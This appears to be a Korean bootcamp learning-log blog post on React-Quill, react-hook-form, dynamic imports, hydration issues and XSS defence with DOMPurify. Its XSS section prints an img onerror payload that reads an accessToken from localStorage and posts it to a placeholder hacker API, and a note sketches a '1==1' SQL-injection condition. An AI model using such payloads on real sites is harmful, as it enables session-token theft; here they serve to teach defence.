[코드캠프]27일차_TIL_웹에디터

윤성해·2023년 4월 19일
0

프론트엔드_TIL

목록 보기
23/27
post-thumbnail

수업 목차

  1. 웹 에디터(React-quill)
  2. react-hook-form과 함께 사용하기
  3. 크로스 사이트 스크립트(XSS)
  4. 하이드레이션 이슈

오늘의 TIL

웹 에디터 (React-quill)

게시물을 등록할 수 있는 페이지를 만든다고 가정했을 때,
input과 textarea 태그를 이용해서 다음과 같이 입력란을 만들어 줄 수 있습니다.

그런데, textarea 태그에서 줄바꿈으로 내용을 입력하고 글을 등록했을 때 가져온 데이터를 보면 아래와 같은 결과가 나타납니다.

줄바꿈을 하고싶은데, 잘 작동하지 않습니다!!

textarea 태그의 특성상, 내용을 입력할 때 줄 바꿈을 주었더라도
내용 데이터를 출력할 때에 줄 바꿈에 대한 결과를 따로 처리해주지 않으면 한 줄로 내용을 출력하게 됩니다.

그 외에도 내용 중에서 더 중요한 부분을 표시하고 싶다거나 폰트에 색깔을 추가하고 싶다거나 하는 등의 스타일 지정이 필요할 수도 있습니다. 이러한 textarea의 단점들을 보완해서 좀 더 스타일리쉬하게 내용을 작성할 수 있도록 도와주는 React-Quill 웹 에디터 라이브러리를 적용해보도록 하겠습니다.
React-Quill Docs

💡 React-Quill 이외에도 React Draft Wysiwyg, TOAST UI Editor 등의
웹 에디터 라이브러리가 널리 쓰이고 있습니다.

웹 에디터 적용하기

  1. 설치하기

    yarn add react-quill
    또는 npm install react-quill

  2. 호출하기

    import ReactQuill from 'react-quill'; // 라이브러리 호출
    import 'react-quill/dist/quill.snow.css'; // css파일 호출
  3. 사용하기

    <ReactQuill /> 입력!!

  4. ReactQuill에 onChange 함수를 넣어주기

import ReactQuill from "react-quill";
import "react-quill/dist/quill.snow.css";

export default function WebEditorPage() {
  const handleChange = (value: string) => {
    console.log(value);
  };

  return (
    <div>
      작성자: <input type="text" />
      <br />
      비밀번호: <input type="password" />
      <br />
      제목: <input type="text" />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </div>
  );
}

💡 ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소입니다.
이름만 같을 뿐 jsx의 onChange요소와는 전혀 다른 개념!!!

  1. document is not defined 에러 해결 (dynamic import)
    Next.js 는 기본적으로 서버사이드 렌더링을 지원하는데, 서버에서 페이지를 미리 렌더링 하는 단계에서는 브라우저 상이 아니기 때문에 window나 document가 존재하지 않습니다.

window 또는 document object 를 선언하기 전이기 때문에 document가 선언되지 않았다는 에러가 발생하는 것입니다.

💡 서버에서 페이지를 미리 렌더링하는 단계를 pre-rendering이라고 부릅니다.
이문제를 해결하려면 document가 선언된 시점 이후에 리액트퀼을 import 해야하는데,
dynamic import 를 사용하면 됩니다.
기존 상단에서 import한 코드를 지우고, 이렇게 대체해주기! (다이나믹을 임포트해야함)

import dynamic from 'next/dynamic';

const ReactQuill = dynamic( async() => await import('react-quill'), {
    ssr : false
})

Next.js에서 제공하는 다이나믹은 해당 모듈을 호출하는 시점을 document에 대한 정보가 선언된 후의 시점으로 옮겨서 호출을 할 수 있게 도와줍니다.

즉, 빌드되는 시점에서 호출하지 않고 런타임 시점에서 모듈을 호출해서
이미 documnet 가 선언되어 있는 시점의 환경을 제공해줄 수 있습니다.

이런 dynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여를 해줍니다.
반드시 다운로드를 받아도 되지 않아도 되는 부분은 다이나믹 임폴트를 사용해 필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상됩니다.

따라서 성능최적화에도 기여를 해줍니다.
이렇게 필요한 시점에 import 해올 수 있도록 도와주는 것을 코드를 분리했다고 해서 코드 스플릿팅이라고 합니다.

💡 Modal을 코드스플릿팅 해서 가져와봅시다.
다른사람이 내 코드를 열었을 때 , Modal도 함께 다운이 될텐데 사실 버튼을 누르지 않으면
실행되는것이 아니라 굳이 다운로드를 안받아도 될 수도 있고 많은 양을 다운로드하면 속도가 느려질 수 있기때문에 굳이 상단에 임포트하지 않고 버튼을 눌렀을 때 다운되도록 해볼것입니다.
필요할 때 다운받기!!

문제점은, 버튼을 눌렀을 때 다운이되니까 버튼이 눌리고 다음이벤트가 실행되기까지 속도가 느려질 수 있는데, 그렇다면 useEffect를 사용해서 위에서 슬금슬금 다운로드 받아놓아봅시다.


위 코드는 전역에다 만들어놨어요!

react-hook-form과 함께 사용하기

useForm을 사용할 때 input에 register를 넣어주었습니다.

import { useForm } from "react-hook-form";

// import ReactQuill from "react-quill"; // 다이나믹 임포트로 변경하기 !
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";

const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });

export default function WebEditorPage() {
  const { register } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);
  };

  // if (process.browser) {
  //   console.log("나는 브라우저다 !!");
  // } else {
  //   console.log("나는 프론트엔드 서버다 !!");
  // }

  return (
    <div>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </div>
  );
}

그런데 onChange 요소가 들어간 ReactQuill이라는 컴포넌트에는 register가 적용되지 않습니다.
어떻게 하면 useForm이 contents에 입력된 데이터까지 인식하도록 할 수 있을까요?
setValue라는 요소를 이용해서 react-hook-form의 contents라는 공간에 강제로 값을 집어 넣어주면 됩니다!!

const { register, setValue} = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value);
  };

조건부 렌더링을 이용해서 React-Quill에 값이 입력되었다가 지워졌을 때 남는 찌꺼기 태그도 없애줍니다.

   // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);
  };

여기까지 진행하면 콘솔에 에디터에 입력된 값이 잘 찍히지만, contents의 입력 여부는 검증할 수가 없습니다. 그래서 reactquill 에서 제공하는 trigger 요소를 이용하여 onChange여부를 강제로 변경해주어야 합니다.

const { register, setValue, trigger } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

이렇게 하면 React-Quill에 입력된 값이 react-hook-form에 동일하게 들어가고, 입력 여부도 검증할 수 있게 됩니다.

react-hook-form을 이용해서 게시글 등록하기

웹에디터와 리액트훅폼을 사용해서 입력한 내용을 게시글로 등록해봅시다.
만들어놓은 태그들을 form으로 감싸고 onSubmit 요소를 더해주겠습니다!

export default function WebEditorPage() {
  const router = useRouter();
  const { register, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  return (
    <form onSubmit={}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

react-hook-form의 handleSubmit을 이용해서 submit 버튼 클릭 시 실행할 함수를 onSubmit에 넣습니다.

export default function WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  const onClickSubmit = (data: IFormValues) => {
		// form submit시 실행할 함수
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

해당 함수 안에 createBoard 요청을 넣습니다. 그리고 요청 성공시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해줍니다.

export default function WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  const onClickSubmit = async (data: IFormValues) => {
    if (!(data.writer && data.password && data.title && data.contents)) {
      Modal.warning({ content: "필수 입력 사항입니다." });
      return;
    }

    try {
      const result = await createBoard({
        variables: {
          createBoardInput: {
            writer: data.writer,
            password: data.password,
            title: data.title,
            contents: data.contents,
          },
        },
      });
			// 완료된 페이지로 이동!!
      router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
    } catch (error) {
      if (error instanceof Error) Modal.error({ title: error.message });
    }
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

다이나믹 라우팅으로 연결된 경로로 이동해서 상세 페이지를 다음과 같이 만들어줍니다.

import { useQuery, gql } from "@apollo/client";
import { useRouter } from "next/router";
import {
  IQuery,
  IQueryFetchBoardArgs,
} from "../../../src/commons/types/generated/types";
import Dompurify from "dompurify";

const FETCH_BOARD = gql`
  query fetchBoard($boardId: ID!) {
    fetchBoard(boardId: $boardId) {
      _id
      writer
      title
      contents
    }
  }
`;

export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div>내용: {data?.fetchBoard.contents}</div>
    </div>
  );
}

웹 에디터로 등럭한 게시글 보여주기

입력된 내용을 화면에 출력해보면, 이런식으로 태그가 감싸져서 나옵니다.
웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 되기 때문입니다.
HTML 태그들을 노출하지 않으면서 HTML 기능만 적용된 형태로 화면에 출력해야 합니다.

그런데 우리가 사용하고있는 리액트 프러젝트에서는, 기번적으러 보안이슈로인해 HTML 태그를 직접 삽입 할 수 없습니다. 그럼에도 사용해야한다면 , 아래처럼 사용할 수 있습니다.

<div dangerouslySetInnerHTML={{ __html :  HTML 태그 추가  }} />

dangerouslySetInnerHTML 는 div 또는 span 태그에 제공되는 속성인데, 아래와 같은 의미를 담고 있습니다.

🚨 "당신은 프로젝트에 HTML 태그를 추가하려는 행위가 위험하다는 걸 알고 있다.
그럼에도 HTML 태그를 추가하고 싶다면 추가하려는 HTML 태그를 작성해라."

위험을 감수하고 HTML 태그를 추가할 때 사용하는 속성이며, __html 속성 값에 추가하려는 데이터를 입력해주면 됩니다.

export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
    </div>
  );
}

❗️ div 및 span 태그로 dangerouslySetInnerHTML 를 사용한다면 반드시 빈 태그 형식으로 작성해주어야 합니다.
아래와 같은 구조로 웹 에디터로 입력된 HTML 데이터를 dangerouslySetInnerHTML 속성을 이용해 div 태그에 입력해주면 HTML 태그들이 적용된 결과가 웹페이지에 출력 되는 것을 확인할 수 있습니다.

크로스 사이트 스크립트(XSS)

지금까지 배운 것 처럼 dangerouslySetInnerHTML을 이용하면 웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있습니다. 하지만 이러한 것은 공격 받을 여지가 매우 큰 위험한 방식입니다.
대표적인 공격 사례를 보자면,

<img src="http://images.png" />

위와 같은 img태그에 onerror라는 속성을 더해, 해당 태그를 dangerouslySetInnerHTML 속성을 이용해 불러왔을 때 사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있습니다.

❗️ onerror란 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소입니다. 일반적으로는 대체 이미지 경로를 입력합니다.

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

위와 같은 예시 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 됩니다.

예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다고 볼 수 있습니다.

예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 합니다.

이러한 공격을 방어하기 위하여 지금과 같은 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리를 이용하면 됩니다. 우리는 그 중 DOMPurify를 이용해 보겠습니다.

Dompurify 설치

yarn add dompurify
yarn add -D @types/dompurify
dompurify

코드에 DOMPutify를 적용해서 안정성을 확보해봅시다.

<div
	dangerouslySetInnerHTML={{
		__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
	}}
/>

그런데 이렇게 코드를 작성하면 서버 사이드 렌더링 에러가 발생합니다. 서버 사이드 렌더링 에러를 해결하기 위해서는 다음과 같은 조건부 렌더링을 추가해주면 됩니다.

{process.browser &&
	<div
		dangerouslySetInnerHTML={{
			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
		}}
	/>
}

OWASP TOP 10

지금까지 알아본 크로스 사이트 스크립트처럼 웹에는 여러 종류의 공격들이 있습니다. 공격이 점점 고도화되는 만큼 사람들도 보안에 신경을 많이 쓰게 되었습니다.

OWASPOpen Web Application Security Project의 약자로 오픈소스 웹 애플리케이션 보안 프로젝트 입니다.
owasp 확인하기

주로, 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며, 3-4년에 한 번씩 정기적으로 업데이트 됩니다.

❗️ A01 : Broken Access Control (접근 권한 취약점)
A02 : Cryptographic Failures (암호화 오류)
A03: Injection (인젝션)
A04: Insecure Design (안전하지 않은 설계)
A05: Security Misconfiguration (보안설정오류)
A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
A07: Identification and Authentication Failures (식별 및 인증 오류)
A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
A10: Server-Side Request Forgery (서버 측 요청 위조)

매년OWASP 상위권을 유지하는 것 중 하나가 Injection 입니다.
SQL쿼리문을 작성할때 조건을 통해 데이터를 주고 받는데, 이 조건을 직접 조작하여 공격하는 기법입니다. 현재는 이것을 ORM을 사용해 막고 있습니다. 그 외 여러 공격들이 있으며 OWASP 발표에서 내용을 더 상세히 확인 할 수 있습니다.

Hydration Issue

웹 에디터 detail 페이지의 실습 코드를 다음과 같이 수정해봅시다.

return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser && (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)


yarn dev해서 렌더링된 모습을 보면 제목 부분이 녹색이 아니라 파란색인 것을 확인할 수 있습니다.
Hydration Issue 때문에 이러한 현상이 일어납니다. 구체적인 원인을 한 번 살펴봅시다.

Next.js는 위와 같은 과정을 거쳐 페이지를 그립니다.
이 중 diffing 단계에서 태그를 기준으로 비교하기 때문에, 프론트엔드 서버에서 pre-rendering된 결과물브라우저에서 그려진 결과물의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용됩니다.

그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 합니다.

return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser ? (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		) : (
			<div style={{color: "green"}} />
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

리팩토링 관련 리뷰

fragment 사용하자.
a에서는 name만, b에서는 fragment(설정해서) 사용해서 다른거 더 추가하기
이런식으로 할 수 있다. 알아보기!

props drilling 하지 말고 글로벌스테이트 Recoil을 사용하자.
혹은, props.children 사용. (이걸 많이 사용, 이거 안되면 글로벌스테이트) -> 보드리스트 인덱스 확인.

이거 드릴링.

리스트 인덱스에 푸터 묶고, 페이지네이션 넣는다. 푸터 인덱스로 와서 원래 페이지네이션 있던 자리에 props.children 넣어주면 그대로 들어온다.

나만 알아볼 수 있는 것들...

로그인할 때 봤던 에러. (로그인 로컬스토리지) 서버에서 그려지고, -> 하이드레이션 관련 에러! 프리렌더링(미리 화면그려주고 브라우저에 넘겨줌. 이과정에서는 버튼눌리거나 기능이 안된다) 후에 자바스크립트 가져온다. 이게 하이드레이션 과정!

react-quill 도프리렌더링 과정에서 충돌이 난거다.

브라우저일 때 요거보여줘! 할 수 있지만 , import 자체가 안된다 .
다이나믹 import를 사용해보자!!



빈값일때 조렇게 나오다
setValue("contents", value === "<p><br></p>" ? "" : value); 적어줘야 빈값으로 인지해서 에러검증이 된다. 안하면 p 어쩌구 들어가있으니까 빈값이라고 인지를 못한다.


다이나믹 임포트는 원하는 시점에 다운로드
다이나믹 라우팅은 주소 변하는거


만약 해커가 이렇게 작성하면...
내가 마우스 구매하러 오는순간 내 엑세스토큰이 해커의 api로 전송이 된다. 내꺼 털린거임. 그럼이거 해커가 인가가 할 수 있겠지 내 행세를 할 수 있다.
이문제 때문에 script 태그를 작성하지 못하도록 설정했는데, 이거를 이미지태그로 또 뽑을수가 있다.

이미지태그를 사용한다. 이미지태그가 아닐 때, 저거 실행시켜줘! 이렇게 작성 하면 해커가 토큰 볼 수 있다.

비밀번호 쪽에 로직 작성해서
1. 이메일 ㅇㅇㅇ 인사람 있니?
2. 비밀번호가 1234 = true || 1==1 이런식으로 하면 뒤에가 트루 나오니까
뚤리게 되는 것.



프리랜더링 시점에서 이거는 안그려진다. 그래서 브라우저 확인했을 때

파란색이 없다. 아래 삼항연산자로 해결 가능.

{typeof window !== "undefined" ? (
        <div
          style={{ color: "blue" }}
          dangerouslySetInnerHTML={{
            __html: Dompurify.sanitize(data?.fetchBoard?.contents),
          }}
        />
      ) : (
        <div style={{ color: "blue" }} />
      )}
      <div style={{ color: "brown" }}>주소: 구로</div>
    </div>
  );

리액트는 첫화면 접속이 느리다 (싱글페이지어쩌구니까) 맨 처음 접속할 때 모든페이지의 html,css,js를 다운로드하니까 . 근데 페이지 이동은 빠르다!!


리액트는 주소라는게 없다. 첫페이지는 동일하게 느리다.

실제 베포할때는 서버에서 프리렌더링 하지 않는다. 이미 되어있는곳에서 받아온다.

여기까지 TTV(tim to view)가 엄청 빠르다. 그 이후

자바스크립트 가져오고, 하이드레이션 실행 여기까지 TTI(time to in..)


슬라이도 질문

프롭스 드릴링 했을때는 이렇게 다 넘겨줬고

지금 child로 받을때는 이렇게. 리뷰는 통으로 받아왔던거라서 큰 차이가 없어보였던 것

profile
Slow and steady wins the race.

0개의 댓글